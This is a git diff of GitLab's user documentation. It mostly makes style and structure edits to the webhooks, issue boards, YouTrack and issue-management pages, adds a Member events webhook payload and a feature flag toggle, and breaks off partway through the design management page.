+++ b/doc/user/project/integrations/webhooks.md
@@ -1,18 +1,18 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Webhooks
Project webhooks allow you to trigger a URL if for example new code is pushed or
a new issue is created. You can configure webhooks to listen for specific events
-like pushes, issues or merge requests. GitLab will send a POST request with data
+like pushes, issues or merge requests. GitLab sends a POST request with data
to the webhook URL.
-In most cases, you'll need to set up your own [webhook receiver](#example-webhook-receiver)
-to receive information from GitLab, and send it to another app, according to your needs.
+You usually need to set up your own [webhook receiver](#example-webhook-receiver)
+to receive information from GitLab and send it to another app, according to your requirements.
We already have a [built-in receiver](slack.md)
for sending [Slack](https://api.slack.com/incoming-webhooks) notifications _per project_.
@@ -31,10 +31,9 @@ update a backup mirror, or even deploy to your production server.
They are available **per project** for GitLab Community Edition,
and **per project and per group** for **GitLab Enterprise Edition**.
-Navigate to the webhooks page by going to your project's
-**Settings âž” Webhooks**.
+Navigate to the webhooks page at your project's **Settings > Webhooks**.
-NOTE: **Note:**
+NOTE:
On GitLab.com, the [maximum number of webhooks and their size](../../../user/gitlab_com/index.md#webhooks) per project, and per group, is limited.
## Version history
@@ -55,7 +54,7 @@ Starting from GitLab 11.2:
`![](/uploads/...)`) have their target URL changed to an absolute URL. See
[image URL rewriting](#image-url-rewriting) for more details.
-## Use-cases
+## Possible uses for webhooks
- You can set up a webhook in GitLab to send a notification to
[Slack](https://api.slack.com/incoming-webhooks) every time a job fails.
@@ -65,27 +64,29 @@ Starting from GitLab 11.2:
## Webhook endpoint tips
-If you are writing your own endpoint (web server) that will receive
-GitLab webhooks keep in mind the following things:
+If you are writing your own endpoint (web server) to receive
+GitLab webhooks, keep in mind the following:
-- Your endpoint should send its HTTP response as fast as possible. If
- you wait too long, GitLab may decide the hook failed and retry it.
+- Your endpoint should send its HTTP response as fast as possible. If the response takes longer than
+ the configured timeout, GitLab decides the hook failed and retries it. For information on
+ customizing this timeout, see
+ [Webhook fails or multiple webhook requests are triggered](#webhook-fails-or-multiple-webhook-requests-are-triggered).
- Your endpoint should ALWAYS return a valid HTTP response. If you do
- not do this then GitLab will think the hook failed and retry it.
+ not do this then GitLab thinks the hook failed and retries it.
Most HTTP libraries take care of this for you automatically but if
you are writing a low-level hook this is important to remember.
- GitLab ignores the HTTP status code returned by your endpoint.
## Secret token
-If you specify a secret token, it will be sent with the hook request in the
+If you specify a secret token, it is sent with the hook request in the
`X-Gitlab-Token` HTTP header. Your webhook endpoint can check that to verify
that the request is legitimate.
## SSL verification
By default, the SSL certificate of the webhook endpoint is verified based on
-an internal list of Certificate Authorities, which means the certificate cannot
+an internal list of Certificate Authorities. This means the certificate cannot
be self-signed.
You can turn this off in the webhook settings in your GitLab projects.
@@ -108,15 +109,15 @@ Below are described the supported events.
Triggered when you push to the repository except when pushing tags.
-NOTE: **Note:**
+NOTE:
When more than 20 commits are pushed at once, the `commits` webhook
-attribute will only contain the first 20 for performance reasons. Loading
+attribute only contains the first 20 for performance reasons. Loading
detailed commit data is expensive. Note that despite only 20 commits being
-present in the `commits` attribute, the `total_commits_count` attribute will
-contain the actual total.
+present in the `commits` attribute, the `total_commits_count` attribute contains the actual total.
Also, if a single push includes changes for more than three (by default, depending on
-[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)) branches, this hook won't be executed.
+[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls))
+branches, this hook isn't executed.
**Request header**:
@@ -203,9 +204,10 @@ X-Gitlab-Event: Push Hook
Triggered when you create (or delete) tags to the repository.
-NOTE: **Note:**
+NOTE:
If a single push includes changes for more than three (by default, depending on
-[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)) tags, this hook won't be executed.
+[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls))
+tags, this hook is not executed.
**Request header**:
@@ -407,14 +409,15 @@ X-Gitlab-Event: Issue Hook
}
```
-> **Note**: `assignee` and `assignee_id` keys are deprecated and now show the first assignee only.
+NOTE:
+`assignee` and `assignee_id` keys are deprecated and now show the first assignee only.
### Comment events
Triggered when a new comment is made on commits, merge requests, issues, and code snippets.
-The note data will be stored in `object_attributes` (e.g. `note`, `noteable_type`). The
-payload will also include information about the target of the comment. For example,
-a comment on an issue will include the specific issue information under the `issue` key.
+The note data is stored in `object_attributes` (for example, `note` or `noteable_type`). The
+payload also includes information about the target of the comment. For example,
+a comment on an issue includes the specific issue information under the `issue` key.
Valid target types:
- `commit`
@@ -732,7 +735,8 @@ X-Gitlab-Event: Note Hook
}
```
-> **Note**: `assignee_id` field is deprecated and now shows the first assignee only.
+NOTE:
+`assignee_id` field is deprecated and now shows the first assignee only.
#### Comment on code snippet
@@ -1358,6 +1362,38 @@ X-Gitlab-Event: Deployment Hook
Note that `deployable_id` is the ID of the CI job.
+### Member events
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/260347) in GitLab 13.7.
+
+Triggered when a user is added as a group member.
+
+**Request Header**:
+
+```plaintext
+X-Gitlab-Event: Member Hook
+```
+
+**Request Body**:
+
+```json
+{
+ "created_at": "2020-12-11T04:57:22Z",
+ "updated_at": "2020-12-11T04:57:22Z",
+ "group_name": "webhook-test",
+ "group_path": "webhook-test",
+ "group_id": 100,
+ "user_username": "test_user",
+ "user_name": "Test User",
+ "user_email": "testuser@webhooktest.com",
+ "user_id": 64,
+ "group_access": "Guest",
+ "group_plan": null,
+ "expires_at": "2020-12-14T00:00:00Z",
+ "event_name": "user_add_to_group"
+}
+```
+
### Feature Flag events
Triggered when a feature flag is turned on or off.
@@ -1502,21 +1538,22 @@ its description:
![image](/uploads/$sha/image.png)
```
-It will appear in the webhook body as the below (assuming that GitLab is
-installed at `gitlab.example.com`, and the project is at
-`example-group/example-project`):
+It appears in the webhook body as follows assuming that:
+
+- GitLab is installed at `gitlab.example.com`.
+- The project is at `example-group/example-project`.
```markdown
![image](https://gitlab.example.com/example-group/example-project/uploads/$sha/image.png)
```
-This will not rewrite URLs that already are pointing to HTTP, HTTPS, or
-protocol-relative URLs. It will also not rewrite image URLs using advanced
+This doesn't rewrite URLs that already are pointing to HTTP, HTTPS, or
+protocol-relative URLs. It also doesn't rewrite image URLs using advanced
Markdown features, like link labels.
## Testing webhooks
-You can trigger the webhook manually. Sample data from the project will be used.
+You can trigger the webhook manually. Sample data from the project is used.
> For example: for triggering `Push Events` your project should have at least one commit.
![Webhook testing](img/webhook_testing.png)
@@ -1528,29 +1565,36 @@ You can find records for last 2 days in "Recent Deliveries" section on the edit
![Recent deliveries](img/webhook_logs.png)
-In this section you can see HTTP status code (green for 200-299 codes, red for the others, `internal error` for failed deliveries ), triggered event, a time when the event was called, elapsed time of the request.
+In this section you can see:
+
+- HTTP status code (green for `200-299` codes, red for the others, `internal error` for failed deliveries).
+- Triggered event.
+- A time when the event was called.
+- Elapsed time of the request.
If you need more information about execution, you can click `View details` link.
On this page, you can see data that GitLab sends (request headers and body) and data that it received (response headers and body).
From this page, you can repeat delivery with the same data by clicking `Resend Request` button.
-NOTE: **Note:**
-If URL or secret token of the webhook were updated, data will be delivered to the new address.
+NOTE:
+If URL or secret token of the webhook were updated, data is delivered to the new address.
-### Receiving duplicate or multiple webhook requests triggered by one event
+### Webhook fails or multiple webhook requests are triggered
-When GitLab sends a webhook it expects a response in 10 seconds (set default value). If it does not receive one, it'll retry the webhook.
-If the endpoint doesn't send its HTTP response within those 10 seconds, GitLab may decide the hook failed and retry it.
+When GitLab sends a webhook, it expects a response in 10 seconds by default. If it does not receive
+one, it retries the webhook. If the endpoint doesn't send its HTTP response within those 10 seconds,
+GitLab may decide the hook failed and retry it.
-If you are receiving multiple requests, you can try increasing the default value to wait for the HTTP response after sending the webhook
-by uncommenting or adding the following setting to your `/etc/gitlab/gitlab.rb`:
+If your webhooks are failing or you are receiving multiple requests, you can try changing the
+default value. You can do this by uncommenting or adding the following setting to your
+`/etc/gitlab/gitlab.rb` file:
```ruby
gitlab_rails['webhook_timeout'] = 10
```
-### Troubleshooting: "Unable to get local issuer certificate"
+### Unable to get local issuer certificate
When SSL verification is enabled, this error indicates that GitLab isn't able to verify the SSL certificate of the webhook endpoint.
Typically, this is because the root certificate isn't issued by a trusted certification authority as
@@ -1561,7 +1605,7 @@ Missing intermediate certificates are a common point of verification failure.
## Example webhook receiver
-If you want to see GitLab's webhooks in action for testing purposes you can use
+If you want to see GitLab webhooks in action for testing purposes you can use
a simple echo script running in a console session. For the following script to
work you need to have Ruby installed.
@@ -1581,7 +1625,7 @@ end
server.start
```
-Pick an unused port (e.g. 8000) and start the script: `ruby print_http_body.rb
+Pick an unused port (for example, `8000`) and start the script: `ruby print_http_body.rb
8000`. Then add your server as a webhook receiver in GitLab as
`http://my.host:8000/`.
@@ -1594,5 +1638,6 @@ example.com - - [14/May/2014:07:45:26 EDT] "POST / HTTP/1.1" 200 0
- -> /
```
-NOTE: **Note:**
-You may need to [allow requests to the local network](../../../security/webhooks.md) for this receiver to be added.
+NOTE:
+You may need to [allow requests to the local network](../../../security/webhooks.md) for this
+receiver to be added.
diff --git a/doc/user/project/integrations/youtrack.md b/doc/user/project/integrations/youtrack.md
index d243ffc7a37..f9b3c083a54 100644
--- a/doc/user/project/integrations/youtrack.md
+++ b/doc/user/project/integrations/youtrack.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# YouTrack Service
@@ -17,14 +17,14 @@ To enable YouTrack integration in a project:
1. Navigate to the project's **Settings > [Integrations](overview.md#accessing-integrations)** page.
1. Click the **YouTrack** service, ensure it's active, and enter the required details on the page as described in the table below.
- | Field | Description |
- |:----------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
- | **Project URL** | URL to the project in YouTrack which is being linked to this GitLab project. |
- | **Issues URL** | URL to the issue in YouTrack project that is linked to this GitLab project. Note that the **Issues URL** requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. |
+ | Field | Description |
+ |:----------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+ | **Project URL** | URL to the project in YouTrack which is being linked to this GitLab project. |
+ | **Issues URL** | URL to the issue in YouTrack project that is linked to this GitLab project. Note that the **Issues URL** requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. |
1. Click the **Save changes** button.
-Once you have configured and enabled YouTrack, you'll see the YouTrack link on the GitLab project pages that takes you to the appropriate YouTrack project.
+Once you have configured and enabled YouTrack, you see the YouTrack link on the GitLab project pages that takes you to the appropriate YouTrack project.
## Disable the internal issue tracker
diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md
index 116602fbbb9..e0f66013454 100644
--- a/doc/user/project/issue_board.md
+++ b/doc/user/project/issue_board.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issue Boards
@@ -51,11 +51,54 @@ To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enter
Watch a [video presentation](https://youtu.be/vjccjHI7aGI) of
the Issue Board feature.
+## Multiple issue boards
+
+> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13.
+> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1.
+> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/).
+
+Multiple issue boards allow for more than one issue board for a given project **(CORE)** or group **(PREMIUM)**.
+This is great for large projects with more than one team or when a repository hosts the code of multiple products.
+
+Using the search box at the top of the menu, you can filter the listed boards.
+
+When you have ten or more boards available, a **Recent** section is also shown in the menu, with
+shortcuts to your last four visited boards.
+
+![Multiple issue boards](img/issue_boards_multiple_v13_6.png)
+
+When you're revisiting an issue board in a project or group with multiple boards,
+GitLab automatically loads the last board you visited.
+
+### Create an issue board
+
+To create a new issue board:
+
+1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page.
+1. Click **Create new board**.
+1. Enter the new board's name and select its scope: milestone, labels, assignee, or weight.
+
+### Delete an issue board
+
+To delete the currently active issue board:
+
+1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page.
+1. Click **Delete board**.
+1. Click **Delete** to confirm.
+
## Issue boards use cases
You can tailor GitLab issue boards to your own preferred workflow.
Here are some common use cases for issue boards.
+For examples of using issue boards along with [epics](../group/epics/index.md) **(PREMIUM)**,
+[issue health status](issues/index.md#health-status) **(ULTIMATE)**, and
+[scoped labels](labels.md#scoped-labels) **(PREMIUM)** for various Agile frameworks, check:
+
+- The [How to use GitLab for Agile portfolio planning and project management](https://about.gitlab.com/blog/2020/11/11/gitlab-for-agile-portfolio-planning-project-management/) blog post (November 2020)
+- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+[Cross-project Agile work management with GitLab](https://www.youtube.com/watch?v=5J0bonGoECs) (15 min, July 2020)
+
### Use cases for a single issue board
With the GitLab Workflow you can discuss proposals in issues, label
@@ -113,7 +156,7 @@ When finished with something, they move the card to **Frontend**. The Frontend t
Cards finished by the UX team automatically appear in the **Frontend** column when they are ready
for them.
-NOTE: **Note:**
+NOTE:
For a broader use case, please see the blog post
[GitLab Workflow, an Overview](https://about.gitlab.com/blog/2016/10/25/gitlab-workflow-an-overview/#gitlab-workflow-use-case-scenario).
For a real use case example, you can read why
@@ -122,7 +165,10 @@ to improve their workflow with multiple boards.
#### Quick assignments
-Create lists for each of your team members and quickly drag issues onto each team member's list.
+To quickly assign issues to your team members:
+
+1. Create [assignee lists](#assignee-lists) for each team member.
+1. Drag an issue onto the team member's list.
## Issue board terminology
@@ -185,41 +231,6 @@ and vice versa.
GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some
advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/).
-### Multiple issue boards
-
-> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13.
-> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1.
-> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/).
-
-Multiple issue boards allow for more than one issue board for a given project or group.
-This is great for large projects with more than one team or when a repository hosts the code of multiple products.
-
-Using the search box at the top of the menu, you can filter the listed boards.
-
-When you have ten or more boards available, a **Recent** section is also shown in the menu, with
-shortcuts to your last four visited boards.
-
-![Multiple issue boards](img/issue_boards_multiple_v13_6.png)
-
-When you're revisiting an issue board in a project or group with multiple boards,
-GitLab automatically loads the last board you visited.
-
-#### Create an issue board
-
-To create a new issue board:
-
-1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page.
-1. Click **Create new board**.
-1. Enter the new board's name and select its scope: milestone, labels, assignee, or weight.
-
-#### Delete an issue board
-
-To delete the currently active issue board:
-
-1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page.
-1. Click **Delete board**.
-1. Click **Delete** to confirm.
-
### Configurable issue boards **(STARTER)**
> [Introduced](https://about.gitlab.com/releases/2017/11/22/gitlab-10-2-released/#issue-boards-configuration) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.2.
@@ -315,6 +326,9 @@ With swimlanes you can visualize issues grouped by epic.
Your issue board keeps all the other features, but with a different visual organization of issues.
This feature is available both at the project and group level.
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For a video overview, see [Epics Swimlanes Walkthrough - 13.6](https://www.youtube.com/watch?v=nHC7-kz5P2g) (November 2020).
+
To group issues by epic in an issue board:
1. Select the **Group by** dropdown button.
@@ -380,19 +394,6 @@ status.
If you're not able to do some of the things above, make sure you have the right
[permissions](#permissions).
-### First time using an issue board
-
-> The automatic creation of the **To Do** and **Doing** lists was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202144) in GitLab 13.5.
-
-The first time you open an issue board, you are presented with the default lists
-(**Open**, **To Do**, **Doing**, and **Closed**).
-
-If the **To Do** and **Doing** labels don't exist in the project or group, they are created, and
-their lists appear as empty. If any of them already exists, the list is filled with the issues that
-have that label.
-
-![issue board default lists](img/issue_board_default_lists_v13_4.png)
-
### Create a new list
Create a new list by clicking the **Add list** dropdown button in the upper right corner of the issue board.
@@ -419,7 +420,13 @@ To remove a list from an issue board:
1. Select **Remove list**. A confirmation dialog appears.
1. Select **OK**.
-### Add issues to a list
+### Add issues to a list **(CORE ONLY)**
+
+> - Feature flag [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898) in GitLab 13.7.
+> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-adding-issues-to-the-list). **(CORE ONLY)**
You can add issues to a list in a project issue board by clicking the **Add issues** button
in the top right corner of the issue board. This opens up a modal
@@ -432,13 +439,30 @@ the list by filtering by the following:
- Assignee
- Author
- Epic
+- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)
- Label
- Milestone
- My Reaction
- Release
- Weight
-![Bulk adding issues to lists](img/issue_boards_add_issues_modal_v13_6.png)
+#### Enable or disable adding issues to the list **(CORE ONLY)**
+
+Adding issues to the list is deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:add_issues_button)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:add_issues_button)
+```
### Remove an issue from a list
@@ -459,6 +483,7 @@ You can filter by the following:
- Assignee
- Author
- Epic
+- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)
- Label
- Milestone
- My Reaction
@@ -528,6 +553,22 @@ To select and move multiple cards:
![Multi-select Issue Cards](img/issue_boards_multi_select_v12_4.png)
+### First time using an issue board
+
+> - The automatic creation of the **To Do** and **Doing** lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202144) in GitLab 13.5.
+> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/270583) in GitLab 13.7. In GitLab 13.7 and later, the **To Do** and **Doing** columns are not automatically created.
+
+WARNING:
+This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/270583) in GitLab 13.7.
+The **To Do** and **Doing** columns are no longer automatically created.
+
+In GitLab 13.5 and 13.6, the first time you open an issue board, you are presented with the default lists
+(**Open**, **To Do**, **Doing**, and **Closed**).
+
+If the **To Do** and **Doing** labels don't exist in the project or group, they are created, and
+their lists appear as empty. If any of them already exists, the list is filled with the issues that
+have that label.
+
## Tips
A few things to remember:
diff --git a/doc/user/project/issues/associate_zoom_meeting.md b/doc/user/project/issues/associate_zoom_meeting.md
index a026854a947..d81fe19c5b9 100644
--- a/doc/user/project/issues/associate_zoom_meeting.md
+++ b/doc/user/project/issues/associate_zoom_meeting.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Associate a Zoom meeting with an issue
@@ -10,13 +10,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
In order to communicate synchronously for incidents management,
GitLab allows to associate a Zoom meeting with an issue.
-Once you start a Zoom call for a fire-fight, you need a way to
-associate the conference call with an issue, so that your team
-members can join swiftly without requesting a link.
+After you start a Zoom call for a fire-fight, you need a way to
+associate the conference call with an issue. This is so that your
+team members can join swiftly without requesting a link.
-## Adding a zoom meeting to an issue
+## Adding a Zoom meeting to an issue
-To associate a zoom meeting with an issue, you can use GitLab's
+To associate a Zoom meeting with an issue, you can use GitLab
[quick actions](../quick_actions.md#quick-actions-for-issues-merge-requests-and-epics).
In an issue, leave a comment using the `/zoom` quick action followed by a valid Zoom link:
@@ -26,23 +26,23 @@ In an issue, leave a comment using the `/zoom` quick action followed by a valid
```
If the Zoom meeting URL is valid and you have at least [Reporter permissions](../../permissions.md),
-a system alert will notify you that the addition of the meeting URL was successful.
-The issue's description will be automatically edited to include the Zoom link, and a button will
-appear right under the issue's title.
+a system alert notifies you of its successful addition.
+The issue's description is automatically edited to include the Zoom link, and a button
+appears right under the issue's title.
![Link Zoom Call in Issue](img/zoom-quickaction-button.png)
You are only allowed to attach a single Zoom meeting to an issue. If you attempt
-to add a second Zoom meeting using the `/zoom` quick action, it won't work, you
+to add a second Zoom meeting using the `/zoom` quick action, it doesn't work. You
need to [remove it](#removing-an-existing-zoom-meeting-from-an-issue) first.
## Removing an existing Zoom meeting from an issue
-Similarly to adding a zoom meeting, you can remove it with a quick action:
+Similarly to adding a Zoom meeting, you can remove it with a quick action:
```shell
/remove_zoom
```
If you have at least [Reporter permissions](../../permissions.md),
-a system alert will notify you that the meeting URL was successfully removed.
+a system alert notifies you that the meeting URL was successfully removed.
diff --git a/doc/user/project/issues/automatic_issue_closing.md b/doc/user/project/issues/automatic_issue_closing.md
index dab79327d6a..6fa2822aa9a 100644
--- a/doc/user/project/issues/automatic_issue_closing.md
+++ b/doc/user/project/issues/automatic_issue_closing.md
@@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#closing-issues-automatically'
---
This document was moved to [another location](managing_issues.md#closing-issues-automatically).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/closing_issues.md b/doc/user/project/issues/closing_issues.md
index 04f1c8e1a4a..45b905f2fb5 100644
--- a/doc/user/project/issues/closing_issues.md
+++ b/doc/user/project/issues/closing_issues.md
@@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#closing-issues'
---
This document was moved to [another location](managing_issues.md#closing-issues).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md
index 5bb8805159a..02cb0313a74 100644
--- a/doc/user/project/issues/confidential_issues.md
+++ b/doc/user/project/issues/confidential_issues.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Confidential issues
@@ -46,7 +46,7 @@ system note in the issue's comments.
## Indications of a confidential issue
-NOTE: **Note:**
+NOTE:
If you don't have [enough permissions](#permissions-and-access-to-confidential-issues),
you won't be able to see the confidential issues at all.
@@ -100,7 +100,7 @@ confidential information prematurely. When the confidential commits are ready
to be made public, this can be done by opening a merge request from the private
fork to the public upstream project.
-TIP: **Best practice:**
+NOTE:
If you create a long-lived private fork in the same group or in a sub-group of
the original upstream, all the users with Developer membership to the public
project will also have the same permissions in the private project. This way,
diff --git a/doc/user/project/issues/create_new_issue.md b/doc/user/project/issues/create_new_issue.md
index 8eec29716c1..53648b53ea3 100644
--- a/doc/user/project/issues/create_new_issue.md
+++ b/doc/user/project/issues/create_new_issue.md
@@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#create-a-new-issue'
---
This document was moved to [another location](managing_issues.md#create-a-new-issue).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/crosslinking_issues.md b/doc/user/project/issues/crosslinking_issues.md
index 2a75f8ad837..b5d3b71e679 100644
--- a/doc/user/project/issues/crosslinking_issues.md
+++ b/doc/user/project/issues/crosslinking_issues.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Crosslinking Issues
@@ -31,7 +31,7 @@ git commit -m "this is my commit message. Related to https://gitlab.com/<usernam
Of course, you can replace `gitlab.com` with the URL of your own GitLab instance.
-NOTE: **Note:**
+NOTE:
Linking your first commit to your issue is going to be relevant
for tracking your process with [GitLab Value Stream Analytics](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/).
It will measure the time taken for planning the implementation of that issue,
diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md
index af9a6401474..023a8ee57bc 100644
--- a/doc/user/project/issues/csv_export.md
+++ b/doc/user/project/issues/csv_export.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Export Issues to CSV
@@ -35,11 +35,11 @@ Among numerous use cases for exporting issues for CSV, we can name a few:
## Choosing which issues to include
-After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned will be exported, including those not shown on the first page.
+After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned are exported, including those not shown on the first page.
![CSV export button](img/csv_export_button_v12_9.png)
-You will be asked to confirm the number of issues and email address for the export, after which the email will begin being prepared.
+GitLab asks you to confirm the number of issues and email address for the export, after which the email is prepared.
![CSV export modal dialog](img/csv_export_modal.png)
@@ -53,7 +53,7 @@ Exported issues are always sorted by `Issue ID`.
>
> **Weight** and **Locked** columns were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5300) in GitLab Starter 10.8.
-Data will be encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row will be the headers, which are listed in the following table along with a description of the values:
+Data wis encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row contains the headers, which are listed in the following table along with a description of the values:
| Column | Description |
|---------|-------------|
@@ -82,4 +82,4 @@ Data will be encoded with a comma as the column delimiter, with `"` used to quot
## Limitations
- Export Issues to CSV is not available at the Group's Issues List.
-- As the issues will be sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately.
+- As the issues are sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately.
diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md
index 2cac88b1b29..0d10f028cbf 100644
--- a/doc/user/project/issues/csv_import.md
+++ b/doc/user/project/issues/csv_import.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Importing issues from CSV
@@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Issues can be imported to a project by uploading a CSV file with the columns
`title` and `description`.
-The user uploading the CSV file will be set as the author of the imported issues.
+The user uploading the CSV file is set as the author of the imported issues.
-NOTE: **Note:**
+NOTE:
A permission level of [Developer](../../permissions.md), or higher, is required
to import issues.
diff --git a/doc/user/project/issues/deleting_issues.md b/doc/user/project/issues/deleting_issues.md
index e50259e0dcf..d8e1485a2dc 100644
--- a/doc/user/project/issues/deleting_issues.md
+++ b/doc/user/project/issues/deleting_issues.md
@@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#deleting-issues'
---
This document was moved to [another location](managing_issues.md#deleting-issues).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md
index c19c9ca0615..3739070be01 100644
--- a/doc/user/project/issues/design_management.md
+++ b/doc/user/project/issues/design_management.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Knowledge
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
---
# Design Management **(CORE)**
@@ -37,7 +37,7 @@ to be enabled:
Design Management also requires that projects are using
